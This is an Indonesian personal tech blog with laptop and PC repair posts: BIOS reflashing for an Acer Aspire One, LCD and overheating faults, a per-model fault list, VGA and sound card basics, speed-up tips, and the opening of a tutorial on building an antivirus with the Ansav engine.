About Me

Foto Saya
edward_nge_fans1
kupang, NTT
orangnya cuek.. kadang2 susah di mengerti.. belajar berbuat baik untuk semua orang.. yg terutama tersenyum untuk semua orang..!! belajar dari kesalahan..!!
Lihat profil lengkapku

Rabu

Cara Service Acer ASPIRE ONE Mati



Bahasan kali ini adalah tentang Cara Service Acer ASPIRE ONE Mati. Bagi pengunjung baru, edward_nge_fans <Kupang NTT> mengucapkan selamat berkunjung dan semoga artikel edward_nge_fans <Kupang NTT>bermanfaat. OK langsung saja menuju ke TKP ............

Cara Service Acer ASPIRE ONE Mati.


Indikasi Kerusakan :
Ketika Netbook ACER ASPIRE ONE ini dinyalakan dengan menekan tombol powernya, layar tidak tampil alias gelap sama sekali. Tapi led di tombol power nyala hijau. Dan tidak ada tanda-tanda bahwa ACER ASPIRE ONE itu akan nyala dan proses loading windows.

Apa yang terjadi...?

Kondisi demikian ini disebabkan oleh rusaknya software BIOS di ACER ASPIRE ONE ini.

Cara Service Acer ASPIRE ONE Mati :
1. Siapkan Flasdisk max 2Gb, kemudian format flasdisk tersebut dengan partisi FAT.
2. Download File BIOS ACER ASPIRE ONE di sini atau di http://support.acer-euro.com/drivers/notebook/as_one_150.html
3. Extract File zipnya dan copy 2 file yg ada didalamnya yaitu FLASHIT.EXE dan ZG5IA32.FD ke flasdisk langsung tanpa folder / direktori.
4. Tancapkan Flasdisk di port USB kiri netbook.
5. Tancapkan Carger laptop.
6. Tekan Tombol Fn dan Esc tahan dan kemudian tekan tombol power sekali.
7. Setelah beberapa detik, lepaskan tombol Fn+Esc. Maka tombol power akan blinking
8. Tekan tombol power sekali lagi, maka flasddisk akan blinking tandanya file BIOS di dalam flasdisk sedang diakses (penting..!!! biarkan beberapa saat karena proses sedang berjalan walaupun lampu power kelihatan tidak menyala.)
9. Tunggu beberapa saat dan lampu power berhenti blinking dan kemudian netbook akan restart sendiri.
10. Setelah restart, ACER ASPIRE ONE akan kembali nyala. Proses ini tidak lebih dari 10 menit.

Selamat mencoba ,,,

LCD laptop lokal banyak masalah



Topik ini saya angkat berdasarkan pengalaman saya menangani service dari berbagai macam laptop yang masuk ke tempat saya.Sebagian besar laptop yang LCD nya bermasalah rata-rata berasal dari laptop lokal seperti : Axioo, A Note, Byon, dsb.

Tidak dipungkiri bahwa sebagian besar laptop yang beredar di Indonesia meskipun merek-merek yang beredar seperti Toshiba, Acer, HP, Compaq adalah brand-brand ternama, tetapi sebenarnya adalam assembly/rakitan lokal juga. Tetapi dengan quality control yang lebih baik.

Kebanyakan masalah yang dihadapi klien kami untuk laptop lokal adalah LCD, baik tampilan bergaris, tampilan bergetar , warna kurang tajam, missing color, dsb. Meskipun merek LCD yang digunakan sama saja untuk semua laptop, dan kebanyakan dialami oleh LCD yang masih menggunakan inverter. Sebagaian besar kalau boleh saya katakan semuanya, kerusakan LCD susah ditangani kecuali penggantian.

Mengapa LCD laptop lokal lebih banyak bermasalah ?

Analisa saya karena VGA module nya kurang baik dibandingkan laptop brand luar. VGA module ini mulai dari VGA chipset pada mainboard, kabel flexibel, konektor flexibel ke LCD, konektor flexibel ke mainboard, dan inverter. Khusus inverter, mutu inverter berpengaruh pada tegangan yang dihasilkan untuk menyalakan LCD, akibatnya berpengaruh pada LCD, apalagi sekarang ada inverter compatible,inverter compatible saya sarankan apabila susah mencari inverter yang sama / identik dalam artian ‘terpaksa’.

Tapi yang menjadi penyebab utama banyaknya kerusakan LCD adalah ‘kearifan’ memperlakukan laptop kita, kadang kita memperlakukan laptop sama dengan PC Desktop. Menggunakan Laptop selama berjam-jam. Ingat ! makin lama menggunakan laptop mengakibatkan panas yang berlebih, dan panas adalah musuh utama bagi laptop, salah satu mengakibatkan kerusakan pada LCD, dan LCD adalah bagian yang paling mahal setelah mainboard, rata – rata harga baru 1,3 – 2 juta, second mulai dari 800 rb. Jadi bayangkan kalau harga laptop kita 2 juta, terus LCD nya rusak dan harus diganti.

Saran saya supaya LCD Laptop awet:
1. Gunakan laptop sebijaksana mungkin, jangan menggunakan laptop 3 jam berturut-turut, matikan sekitar 10 menit, trus lanjut. Bisa menggunakan lebih lama tapi gunakan coolingpad yang berkualitas / coolingpad yang menggunakan sumber power/adaptor sendiri.
2. Gunakan setting contras/brightness pada LCD yang sedang
3. Setting LCD time off ketika laptop tidak digunakan
4. Rawatlah LCD dengan baik karena LCD merupakan 40 % aset dari laptop
5. Buka tutup LCD dengan memegangnya dari kedua sisi kanan kirinya, bukan dari atasnya, karena dibagian atas ada blok yg rentan rusak..!!



edward_nge_fans < Kupang NTT >

LIST MASALAH YANG DIALAMI LAPTOP(SEMUA BRAND DAN MODEL)

ACER ASPIRE 4520 NVIDIA GPU
Masalah :
1.(Blankscreen)Nvidia GPU OVERHEATING
2.(Blankscreen)AMD CPU DEFECT(Biasa Kerana Overheating GPU)
3.Hinges LCD senang patah
4.Bios Corrupt

Penyebab Kerosakkan
1.Sistem HSF(heat sink fan) yang tak dapat handle kepanasan CPU dan GPU
2.AMD CPU affect dari masalah overheat GPU

Penyelesaian Masalah.
1.Reflow, tukar GPU,tukar motherboard Baru
2.Tukar CPU (Sila selalu servis sistem HSF Laptop ni)
3.Tukar Hinges(Untuk owner sila tutup Laptop model ni slow)
4.Reflash Bios




COMPAQ PRESARIO CQ40-TU (processor intel)
Masalah :
1. LCD screen defect, jadik bergegar..
2. Overheat, puncanya, kipas x pusing

Penyelesaian Masalah.
1.Try reseting LCD riben kabel dulu atau test guna LCD tester.Jika semua cara dah cuba, masih Problem,LCD screen tukar baru.
2.Selalu service HFS(Heat Sink Fan) laptop.

 

COMPAQ PRESARIO CQ40 AMD-ATI.
Masalah :
1.ATI GPU OVERHEATING
2.AMD CPU DEFECT
3.LCD BERBELANG atau jadi White Screen bila pakai tak lebih 2 tahun.

Cara nak tau laptop korang akan jadi masalah ini adalah seperti berikut, tanda-tandanya:
1.LED CapsLock dengan Numlock berkelip serentak

Penyebab Kerosakkan
1.Sistem HSF(heat sink fan) yang tak dapat handle kepanasan CPU dan GPU
2.LCD yang dibekal oleh Compaq substandard(kurang berkualiti) (bergantung pada batch)

Penyelesaian Masalah.
1.Reflow, tukar GPU,tukar motherboard Baru
2.Tukar CPU
3.Tukar LCD panel

List model Laptop ada masalah GPU overheat
1.Compaq Presario v3000 nvidia Gpu
2.Acer Aspire 4520 nvidia Gpu
3.Compaq Presario F700 nvidia Gpu
4.Hp Pavillion Tx1000 Nvidia Gpu
5.Hp Pavillion tx2500 Ati Gpu
6.Hp pavillion Dv2500 Nvidia Gpu
7.Hp Pavillion 6000 Nvidia gpu
8.Compaq Presario Cq40 Ati Gpu
9.Dell Inspiron 1420 Nvidia Gpu


Cara nak tau laptop korang akan jadi masalah ini adalah seperti berikut, tanda-tandanya:
1.Wifi adapater tak detect
2.Laptop hang
3.Laptop susah nak hidup(on banyak kali baru boleh)
4.Laptop suka restart (walaupun habuk kat heatsink dalam laptop dah cuci)
5.Semua usb port Laptop tak berfungsi
6.Lcd screen Laptop berbayang

Penyelesaian Masalah.
1.Reflow, tukar GPU,tukar motherboard Baru



ACER ASPIRE 4530 AMD-ATI
Masalah 
1.Nvidia GPU OVERHEATING
2.AMD CPU DEFECT
3.Lan(network) I.C mati.

Penyebab Kerosakkan
1.Sistem HSF(heat sink fan) yang tak dapat handle kepanasan CPU dan GPU
2.AMD CPU DEFECT(batch untuk CPU laptop ni ada masalah)

Penyelesaian Masalah.
1.Reflow, tukar GPU,tukar motherboard Baru
2.Tukar CPU
3.Tukar Lan(network) I.C


TOSHIBA SATELLITE M200/L300
Masalah.
Laptop Toshiba Satellite M200 ini masalah dia akan hang(freezing) apabila loading windows atau masa windows tengah running atau mengalami screen biru(bsod).Kadang - kadang screen Laptop akan mengalami masalah pixel pecah dan hang(freezing) serta reboot dengan sendiri(auto restart).Tetapi bila Laptop running menggunakan bateri laptop sahaja atau jika guna power adapter tapi hanya boleh run dalam Windows safe mode, Laptop tidak mengalami masalah-masalah yang aku sebutkan tadi.Tetapi apabila Laptop adapter charger disambung ke Laptop,Windows akan hang dan laptop terpaksa direstart.Laptop terpaksa menggunakan bateri jika hendak digunakan(maximum 2jam)lepastu Laptop bateri kena charge bagi penuh.


Penyelesaian masalah.
Boot Windows dalam safe mode, restart laptop dan tekan F8 key sebelum windows logo keluar sehingga keluar List booting

1.Pilih start Windows dengan safe mode
2.Pergi ke device manager (dalam My Computer)
3.Disable driver processor intel core Duo(ada 2,mula-mula disable 1 dulu jika tak jadi baru 4.disable kedua-dua driver processor tu)
5.Restart laptop (normal startup)..!!

 Ini adalah database untuk kerosakkan,penyebab,cara solution.Harga repair tu kena tanya terus tukang repairla(kalau nak tanya aku boleh pergi ke blog atau email).
Database Kerosakkan ni adalah untuk menolong pembaca blog aku atau diluar dari blog  ini untuk mengenali kerosakkan yang dialami oleh Laptop mereka.Jadi sebelum mereka hantar ke tukang repair, mereka dah tau serba sedikit masalah yang dialami oleh laptop mereka(jadi keberangkalian miss info tak berlaku dan salah hardware yang dibaik pulih tak berlaku).



edward_nge_fans < Kupang NTT >

Sabtu

Penjelasan dan Fungsi VGA Card

vga cardApa sebenarnya video card atau yang biasa disebut kartu grafis? Apa fungsi video card dalam komputer Anda? Mungkin ini pertanyaan yang sudah kuno, tetapi kenyatannya masih sangat banyak pengguna yang tidak paham apalagi mampu mengenali kerusakan video card. Kartu grafis yang dikenal juga sebagai kartu video adalah bagian dari perangkat keras yang diinstal dalam komputer yang bertanggung jawab untuk rendering gambar pada monitor komputer atau layar tampilan. Kartu Grafis ada sangat banyak varietas baik barangnya maupun harganya.
Pertimbangan membeli video card.
  1. Pertimbangan pertama ketika membeli kartu grafis adalah memastikan bahwa ia mampu menampilkan resolusi monitor terbaik untuk komputer anda. Untuk Liquid Crystal Display (LCD) monitor ini berarti harus mendukung resolusi asli. Untuk monitor Cathode Ray Tube (CRT) tidak memiliki resolusi asli. Dalam hal ini, pastikan kartu grafis ini mampu mendukung resolusi tertinggi, walaupun pada monitor CRT akan sering digunakan pada resolusi yang lebih rendah.
  2. Pertimbangan kedua adalah on-board memori. Kartu grafis harus bekerja sangat keras untuk membuat gambar ke layar. Tidak seperti file teks, gambar grafis adalah file yang jauh lebih besar terdiri dari jumlah besar data yang harus diproses oleh kartu grafis atau video. Kartu grafis yang lebih cepat memiliki chip memori sendiri untuk melakukan fungsi ini agar tidak mengambil pada random access memory sistem (RAM).
Ini tidak berarti bahwa kartu grafis dengan memori tersendiri akan memuaskan, tetapi banyak juga yang tergantung pada memori utama dari komputer dan mengambil sejumlah RAM utama. Sistem RAM yang lebih lebih simpel secara mekanik jika menggunakan onboard, tetapi untuk penggemar game dan multimedia, kartu grafis dengan memori tersendiri adalah pilihan yang lebih baik. Hal ini juga berlaku bagi mereka yang ingin menonton, bekerja dengan atau mengedit film.
The graphics processing unit (GPU) adalah sebuah chip yang mirip dengan unit pengolahan komputer (CPU). GPU pada kartu grafis memproses data dalam garis sejajar disebut “pipelines” kartu grafis, semakin cepat ia dapat memproses data, semakin baik hasilnya. Beberapa komputer menggunakan kartu fitur dual GPU untuk performa tambahan. Faktor lain yang bermain dalam kinerja adalah termasuk kecepatan bus dan jenis memori on-board kartu grafis yang mendukung.
Karena kartu grafis bekerja keras, maka ia menghasilkan panas. Untuk alasan inilah video card biasanya menggunakan built-in fans. Fans bisa diam atau berisik, tergantung pada model kartu. Performa tinggi kartu video tanpa kipas juga tersedia. Kartu ini menggunakan aluminium pendingin untuk menarik panas dari GPU. Keuntungan dari kartu grafis tanpa kipas adalah kurang kebisingan; kerugiannya adalah membebani memori utama. Jika memori RAM komputer Anda adalah 1024MB dan Anda menggunakan VGA card onboard maka sejumlah sekian MB akan disharing dari RAM kepada VGA. Dengan demikian maka memori utama akan muncul hanya 960MB misalnya.
Memasang kartu grafis sangat mudah. Kartu ini memiliki interface yang dipasang ke port atau slot di dalam komputer pada motherboard. Motherboard yang lebih tua menawarkan Advanced Graphics Port (AGP) interface, sedangkan Motherboard yang lebih baru memiliki Peripheral Computer Interface Express (PCIe) interface. Sebuah kartu grafis PCIe tidak dapat diinstal ke slot AGP, dan visa-versa, jadi pastikan untuk mendapatkan kartu yang kompatibel dengan sistem Motherboard anda.
Port eksternal pada kartu grafis dapat memungkinkan sebuah monitor tambahan yang terpasang untuk game atau untuk menampilkan grafis lanjutan yang dapat tersebar di dua monitor. Kartu grafis mungkin juga memiliki “S-Video Out” port untuk mengirimkan sinyal ke sebuah televisi, atau High Definition Multimedia Interface (HDMI) port.
Harga VGA sangat bervariasi, para penggila game rata-rata menggunakan kartu grafis dalam kisaran harga 1-3 juta rupiah. Bagi seseorang yang menggunakan komputer untuk keperluan yang lebih umum, kartu grafis lebih murah sudah cukup untuk melakukan pekerjaan. Yang penting bisa menampilkan pekerjaan..!!

edward_nge_fans < Kupang NTT >

Masalah Komputer Terlalu Panas Lalu Komputer Mati Sendiri

komputer terlalu panasMengapa komputer terlalu panas, lalu komputer mati sendiri? Itulah keluhan yang paling banyak datang ke saya, baik melalui komentar maupun melalui e-mail. Oleh karena itulah saya tergugah untuk menulis artikel ini yang mudah-mudahan sama persis yang dialami oleh Anda yang ingin bertanya kepada saya. Harapannya adalah jika suatu saat ada lagi yang bertanya maka tinggal saya rekomendasikan mebaca artikel ini. Sebagai catatan jika Anda berniat memperbaiki sendiri komputer Anda, sebaiknya baca juga artikel Persiapan Menjadi Maintenance Komputer yang pernah saya tulis.
Mengapa komputer terlalu panas, lalu komputer mati sendiri? Pada umumnya ada banyak hal yang menyebabkan komputer menjadi overheating alias terlalu panas baik itu penyebab dari hardware maupun juga dari setting sofware. Sedangkan komputer mati sendiri juga salah satu penyebabnya adalah karena terlalu panas tadi atau juga permasalahan pada software komputer Anda. Inti permasalahannya disini adalah penyebab komputer terlalu panas. Berikut ini saya akan berikan beberapa hal yang bisa menyebabkan komputer menjadi overheating.
  1. Harus dibedakan antara komputer cepat panas dengan komputer terlalu panas. Ada perbedaan antara processor AMD dengan Intel. Processor terbaru Intel hanya membolehkan panas sampai 72oC sedangkan AMD bisa sampai 85oC jadi ada perbedaan signifikan apabila diraba dengan tangan. Tetapi jika masalah panas ini kemudian menyebabkan komputer jadi lambat atau mati sendiri barulah jadi masalah.
  2. Kebocoran dari Power Suply. Jika terjadi kebocoran pada Power Suply, tegangan listrik keluar menuju mainboard dan komponen lain akan naik. Naiknya tegangan listrik ini akan menyebabkan 2 kemungkinan yaitu seluruh komponen listrik CPU jadi panas, atau salah satu/beberapa komponen langsung rusak. Solusinya; saya anjurkan agar menggunakan Stabilizator untuk menjaga tegangan listrik.
  3. Komputer digunakan main game. Jika komputer digunakan main game, maka untuk menampilkan permainan yang sempurna, ada setidaknya 3 komponen yang bekerja berat secara langsung yaitu Processor, Memory Utama dan VGA. Pekerjaan berat yang dilakukan terutama oleh Processor akan menimbulkan panas yang lumayan tinggi dan bisa saja menyebabkan komputer langsung mati sendiri. Solusinya; tambahkan kipas pengisap pada bagian belakang CPU untuk mengisap udara panas dari dalam.
  4. Kipas pendingin rusak, kotor berdebu. Jika kecepatan kipas sudah menurun atau sangat berdebu maka suply udara pendingin juga akan menurun sehingga Processor menjadi overheating. Solusinya; buka kipas pendingin, bersihkan dari debu lalu pastikan bahwa kipas tersebut masih berputar dengan normal. Kipas pendingin yang dicurigai sudah loyo sebaiknya diganti saja.
  5. Aluminium Heatsink (pendingin) Processor atau pada VGA berdebu/kotor. Jika kipas sudah tidak ada masalah, pastikan bahwa aluminium pendingin cukup bersih dari debu karena debu bisa menghambat proses pendinginan yang disuply oleh kipas. Solusinya; bersihkan heatsink ini dengan baik dan sebaiknya ini dilakukan setiap 6 bulan sekali.
  6. Kedudukan Aluminium Heatsink (pendingin) tidak tepat. Jika aluminium ini tidak menempel dengan tepat pada badan processor, maka processor akan overheat lalu kemudian komputer pasti mati sendiri. Solusinya; Jika anda bisa melakukannya (harap berhati-hati) buka kipas dan periksa apakah aluminium heatsink menempel dengan tepat pada Processor? Kalau perlu buka aluminium pendingin dan bersihkan pasta pada permukaan permukaan processor lalu oleskan kembali pasta yang baru(mengenai pasta untuk processor banyak dijual ditoko spare part kompi)
  7. Setting BIOS. Jika Anda melakukan overclok pada BIOS maka salah satu resikonya adalah komputer akan menjadi panas, bahkan yang terburuk adalah bisa menyebabkan komputer tidak berfungsi sama sekali. Solusinya; jika overclok ini penyebabnya, selakan kembalikan BIOS ke posisi normal kembali.
Catatan ; Untuk kasus komputer mati sendiri tidak bisa dipukul rata penyebabnya karena terlalu panas sebab persoalan komputer mati sendiri bisa sangat beragam penyebabnya. Ada baiknya Anda menginstall software yang bisa Anda gunakan untuk memonitor PC Anda misalnya misalnya parameter tegangan, temperatur, kecepatan kipas dan lain-lain. Software ini banyak sekali di internet yang bisa didownload gratis..!!

edward_nge_fans < Kupang NTT >

Inilah 5 Penyebab Komputer Restart Sendiri

PC restart sendiriKomputer PC umumnya bekerja efisien dan tidak ada masalah. Namun, kadang-kadang juga PC rusak dan salah satu masalahnya adalah komputer reboot sendiri. Berbagai masalah yang berbeda dapat terjadi yang akan menyebabkan kegagalan dan akhirnya komputer restart sendiri. Peristiwa ini dapat disebabkan oleh kesalahan sistem, fluktuasi daya atau ketidakcocokan secara keseluruhan.
Catatan: artikel ini hanya mengungkap penyebabnya dan jalan keluarnya akan dibahas pada artikel berikutnya. Inilah 5 penyebab komputer restart sendiri;
  1. Kapasitor. Salah satu penyebab utama PC reboot sendiri adalah masalah motherboard. Ketika kapasitor pada motherboard gagal karena kering atau bocor, komputer akan reboot berulang kali. Hal ini biasanya disebabkan oleh sumber daya listrik yang buruk dan tidak stabil.
  2. Lonjakan Power. Sebuah lonjakan listrik dapat disebabkan oleh kegagalan daya tiba-tiba. Hal ini dapat disebabkan oleh lonjakan listrik dari layanan listrik setempat. Hal ini dapat menyebabkan kegagalan PC dan sistem operasi Windows. Untuk mencegah hal ini, Anda harus selalu menggunakan Stabilizer dan Uninterrubtible Power Supply (UPS).
  3. Fatal Error. Kadang-kadang, Anda akan menemukan sebuah kesalahan fatal yang muncul menyebabkan layar biru. Dalam versi Windows sebelumnya, layar ini tetap sampai reboot manual. Namun, dengan XP dan seterusnya, fatal error ini akan menyebabkan komputer reboot sendiri. Jika kesalahan tidak diperbaiki, PC akan terus reboot.
  4. Software dan Driver. Kadang-kadang, ketidakcocokan perangkat lunak akan menyebabkan PC reboot sendiri. Jika sebuah aplikasi baru dipasang, mungkin ada kesalahan. Jika tidak, perangkat keras baru membutuhkan driver yang mungkin bertentangan dengan perangkat lunak lainnya.
  5. Perangkat keras. Kerusakan Hardware akan terlihat pertama kali ketika komputer boot. Jika jenis perangkat yang salah telah dipasang, maka akan menyebabkan masalah inkompatibilitas dan kadang-kadang menyebabkan reboot.
Demikian artikel singkat ini, semoga membantu anda dalam analisa..

edward_nge_fans < Kupang NTT >

Mengatasi Masalah Kerusakan Sound Card PC

kerusakan sound card 
Untuk kebanyakan pengguna komputer, suara adalah bagian penting dari penggunaan komputasi. Apakah menonton film atau bermain game, tanpa suara mama permainan akan cukup membosankan. Perangkat keras komputer yang mendorong suara di PC disebut kartu suara atau Sound Card, yang adalah salah satu bagian terpisah dari perangkat keras, atau sebuah chip yang dibangun dalam motherboard. Seperti umumnya perbaikan komputer, tips perbaikan sound card dimulai dengan dasar-dasar dulu.
Langkah-langkah berikut ini tersusun sedemikian rupa sehingga sebaiknya anda melakukan secara berurutan hingga suara computer muncul.
Pasang Dengan Baik Speaker Komputer
Kadang-kadang tindakan sederhana memindahkan monitor dari satu sisi meja lain dapat menyebabkan kabel kusut dan catu daya speaker mungkin tercabut. Pastikan speaker anda terpasang ke jack warna yang sesuai-kode di bagian belakang komputer, dan catu daya tersambung ke sumber listrik. Apakah lampu power nyala? Jika tidak, periksa kabel lagi untuk memastikan bahwa sudah dipasang ke port yang tepat.
Aktifkan Sound System
Setelah power speaker dihidupkan, putar tombol volume sampai sekitar 60 persen. Jika Anda memiliki headphone terpasang, lepaskan dulu. Dalam kebanyakan kasus, saat headphone terpasang, suara melalui speaker akan dinonaktifkan. Apakah suara diaktifkan pada sistem operasi Anda? Apakah volume muncul? Kebanyakan sistem operasi memiliki “ikon speaker” kecil atau ikon tipe audio lainnya terletak pada task bar utama. Jika ikon memiliki tanda merah “X” di atasnya, kartu suara tidak terdengar. Klik dua kali pada icon untuk membuka panel kontrol suara, kemudian buat penyesuaian volume yang diperlukan.
Jika kartu audio dibangun secara onboard, pastikan sudah diaktifkan di BIOS. Jika Anda memiliki built-in audio plus kartu suara tambahan, menonaktifkan perangkat yang Anda tidak gunakan untuk menghindari konflik. Sebagian besar buku manual komputer secara detail memberi cara mengkonfigurasi BIOS dan menyimpan pengaturan untuk masing-masing model tertentu.
Reinstall atau Update Driver
Driver kartu suara kadang-kadang menjadi korup atau memiliki konflik setelah update sistem operasi, atau jika hardware tambahan diinstal. Jika Anda memiliki kartu suara baru, instal ulang driver yang disertakan dengan perangkat. Jika dukungan audio yang dibangun adalah onboard, download dan install driver terbaru dari situs pabrikan.
Jika konflik sistem terjadi setelah menginstal perangkat tambahan, coba menguninstall driver kartu suara, reboot komputer beberapa kali, kemudian instal driver lagi. Jika sistem operasi Anda memiliki fitur system restore, coba memulihkan komputer ke salah satu restore point ketika kartu suara masih bekerja.
Buka Casing Komputer
Komponen PC kadang-kadang kedudukannya tidak tepat bila komputer sering dipindahkan. Sebagai resolusi terakhir, buka casing komputer Anda dan pastikan kartu suara terpasang dengan benar pada motherboard. Ini agak menakutkan untuk membuka komputer untuk pertama kalinya, tapi jika Anda mengikuti petunjuk dalam manual komputer Anda, itu sebenarnya merupakan proses yang mudah.
Masukkan CD, atau memutar salah satu dari MP3 favorit Anda untuk menguji kartu suara anda. Jika masih ada indikasi suara misalnya ketika anda menggunakan Winamp tetapi suara tidak keluar ke speaker maka jelas yang rusak adalah perangkat kerasnya dan Anda mungkin perlu membeli speaker baru atau membeli kartu suara baru.
Semoga berhasil dan jangan lupa baca juga artikel Masalah Komputer Tidak Ada Suara..!!

edward_nge_fans < Kupang NTT >

Rabu

Merubah Flash Disk Menjadi extra RAM

Komputer kamu makin lama makin terasa lambat? jangan khawatir, sekarang kamu bisa menambah extra RAM hanya dengan mengunakan Flash Disk. Untuk windows Vista ke atas sudah tidak perlu tambahan, tetapi untuk windows XP kalian memerlukan program tambahan namanya eBoostr.
Program eBoostr ini sendiri tidak gratis tapi banyak kok crack2an atau patch yang bisa digunakan untuk menghilangkan batasan dalam free trial, tetapi tetap saja saya sarankan untuk membeli program ini dengan lisensi legal atau mungkin kalau nggak mau ribet dan punya uang cukup ya silahkan beli RAM fisik yang asli
Berdasarkan hasil percobaan saya kemarin eBoostr ini sangat membantu untuk desktop/notebook lama yang kapasitas RAM-nya sangat kecil, di antara 128-512 untuk yang punya RAM 1 GIGA ke atas kamu tidak akan merasakan terlalu banyak penambahan kecepatan setelah menggunakan eBoostr maka itu banyak yang mengira program ini adalah program gagal padahal sebenarnya tidak.
Konsep dasar eBoostr adalah membuat cache kedalam flash disk yang tentunya kecepatan akses data untuk write/read lebih cepat ketimbang proses melalui hard disk.
Adapun syarat² yang harus wajib kalian penuhi untuk mendapatkan hasil maksimal adalah sebagai berikut:
  1. Port USB 2.0 (kalau versi port USB kalian 1.1 bisa diatasi dengan membeli PCI to USB 2.0 card harganya murah sekitar 45-65 ribu Rupiah)
  2. Flash Disk dengan kecepatan Read/Write minimal 20MBPS, lebih cepat lebih baik tidak perlu space yang sangat besar minimal 1 giga saja sudah cukup, atau kalau kesulitan menemukan flash disk yang kecepatan read/write bagus silahkan cari flash disk dengan label “ReadyBoost“.
  3. eBoostr program.
Cara instalasinya juga sangat mudah, pertama install dulu program eBoostr ini, lalu masukkan flash disk anda kedalam port USB 2.0, setelah itu kamu bisa menambahkan perangkat ini kedalam program eBoostr, build cache di flash disk ini setelah selesai rasakan perbedaanya komputer kamu pasti lebih responsif dan gesit.
eboostr
* Percobaan dengan flash disk berkecepatan rendah saja sudah terasa performance komputer lama saya berubah meningkat semakin cepat!, kalau dengan flash disk kecepatan tinggi pasti akan terasa lebih cepat.
Selamat mencoba..!!

edward_nge_fans  kupang NTT

Cara Mempercepat Kinerja Komputer

Komputer merupakan salah suatu benda yang bisa melakukan berbagai jenis aktifitas dan dapat mempermudah pekerjaan anda. Kini komputer PC merupakan salah satu benda yang wajib dimiliki oleh setiap orang sebagai akibat dari perkembangan teknologi yang begitu pesat di era modern seperti sekarang ini. Jika komputer PC atau laptop yang anda punya terasa begitu berat dan lemot, anda akan kesal bukan?
Oleh karena itu sekarang saya akan memberikan Tips dan Trik tentang Cara Mempercepat Kinerja Komputer :
.: Tips Trik Mempercepat Kinerja Komputer :.
  • Perhatikan Visual Grafis
Efek efek visual grafis komputer anda seringkali memberatkan kinerja komputer PC anda. Oleh karena itu anda harus memilih antara mementingkan visual grafis/tampilan dari komputer anda atau lebih mementingkan kualitas dan performa dari komputer PC anda. Bagaimana caranya? Ikuti langkah-langkah sebagai berikut :
Klik kanan icon My Computer -> Klik Kanan -> Properties -> (Tab) Advance -> (Performance -> Setting) -> Visual Effects
Nah disitu kan ada pilihan antara mementingkan kualitas gambar atau performa komputer PC, anda pilih saja yang anda utamakan. Atau anda bisa pilih sendiri di menu custom, tinggal check/uncheck pilihan anda sesuai dengan keinginan dan kebutuhan anda.
  • Hindari Program-program yang Tidak Berguna
Seringkali anda hanya menginstall program untuk memenuhi isi komputer anda. Padahal semakin banyak program yang ada di komputer anda maka hardisk akan lebih penuh. Dan semakin banyak isi hardisk yang terpakai maka komputer anda akan berjalan lebih lambat pula. Oleh karena itu saya sarankan anda agar :
- Uninstall program-program yang tidak berguna
Caranya : Control Panel -> Add or Remove Programs
Nah disitu akan kelihatan mana program-program yang sering anda pakai dan mana yang tidak. Sebaiknya untuk program yang jarang anda pakai maka di hapus saja dari komputer PC anda.
- Lakukan Disk Cleanup
Disk Cleanup ini akan membersihkan file-file bekas yang sudah tidak dibutuhkan lagi sehingga dapat menghemat space hardisk anda.
Caranya : My Computer -> C: (sesuai dengan hardisk yang anda ingin bersihkan) -> Klik Kanan -> Properties -> Disk Cleanup
- Defragment Hardisk Berkala
Defragment ini juga bisa membersihkan hardisk dari data-data yang tidak berguna. Sehingga jika anda melakukan defragment hardisk ini akan menambah free spac penyimpananan hardisk anda.
Caranya : My Computer -> C: (sesuai dengan hardisk yang anda ingin bersihkan) -> Klik Kanan -> Properties -> (tab) Tools -> Defragment Now
  • Melakukan Tweaking dengan Software
Banyak software yang tersedia yang mampu meningkatkan performa komputer anda. Diantaranya Tune Up Utilities, CCleaner, RegCleaner dan masih banyak lagi. Tools-tools tersebut juga bisa membersihkan registry anda dari kesalahan-kesalahan / Error. Anda dapat mencari sofware – software tersebut di google maupun indowebster.
  • Optimalkan Virtual Memori
Caranya :
My Computer -> Klik Kanan -> Properties -> (Tab) Advance -> (Performance -> Setting) -> Advanced -> (Virtual Memori -> Change)
Nah disitu ada bagian custom size anda isi disitu sesuai dengan yang ada di Reccomended
  • Matikan beberapa fitur Start Up yang tidak berguna
Caranya :
  • Start Menu -> RUN -> Ketikan MSCONFIG -> OK / Enter -> Pilih menu Start Up >> Hilangkan semua centang pada Start up kecuali Program Anti virus
  • Klik Menu service -> Hilangkan centang pada Automatic Updates
  • Setelah itu tekan Apply lalu OK
Oke mudah-mudahan tips dan trik diatas dapat membantu anda untuk mempercepat kinerja dari komputer anda, sekian .. ^^

belajar membuat anti virus

BELAJAR MEMBUAT ANTIVIRUS SENDIRI:
MENGGUNAKAN ENGINE ANSAV
By:[girrel13]
Kurang puas dengan antivirus yang Anda gunakan?, atau sekedar penasaran dengan cara membuat antivirus? Jika memang benar demikian kenapa tidak mencoba membuat antivirus sendiri? Pasti lebih asyik, selain menambah pengetahuan kita tentang antivirus juga untuk mengisi waktu-waktu senggang dengan mencoba bermain-main dengan virus, sehingga diharapkan tidak ada lagi ketakutan yang berarti akan virus komputer.
Dalam pemrograman antivirus memang sangat dibutuhkan pengetahuan tentang alghoritma, dimana hal ini penting untuk membangun engine detektor virus, misalnya seperti menggunakan alghoritma kalkulasi CRC atau MD5 sebagai engine detektornya. Lalu permasalahannya apa? Apakah Anda sudah cukup mengetahui tentang alghoritma yang dipakai dan tehnik yang digunakan untuk mendeteksi virus? Saya yakin belum banyak yang mengetahuinya lebih-lebih pada tehniknya, sekalipun Anda seorang programmer, mengapa? Karena walaupun Anda menguasai berbagai macam alghortima, tetapi belum tentu Anda mengetahui cara menjadikan alghoritma tersebut menjadi engine antivirus, karena selain membutuhkan pengetahuan tentang alghoritma Anda juga membutuhkan paling tidak sedikit pemahaman tentang struktur file eksekutabel. Sedangkan struktur eksekutabel akan tampak rumit untuk dipelajari bagi yang masih awam lebih-lebih yang masih belum tahu apa-apa tentang komputer.
Saya akan memberikan beberapa contoh yang mudah dan sederhana dalam membuat antivirus. Berbahagialah karena disini Anda tidak harus mengetahui banyak tentang alghoritma-alghoritma yang sulit, Anda cukup mengetahui sedikit tentang dasar-dasar pemrograman baik menggunakan bahasa Visual Basic, C, C++ atau Delphi. Kok bisa? Ya karena saya telah membangun engine ansav yang saya buat dalam bentuk file DLL (Dynamic Link Library) khusus saya buat untuk mempermudah membuat antivirus sendiri. File tersebut bisa di download di sini.
Sedikit tentang file DLL ini
File DLL yang saya buat ini mengandung engine virus detektor yang digunakan antivirus ansav untuk mendeteksi virus-virus lokal masa kini. Anda bisa dengan mudah menggunakan fungsi-fungsi yang ada pada file DLL ini untuk mendeteksi virus, contoh untuk memeriksa apakah suatu file merupakan virus, Anda hanya perlu membuat perintah seperti format berikut :
CheckWithAnsav(FileYangDicek, NamaVirus, BesarTampungan)
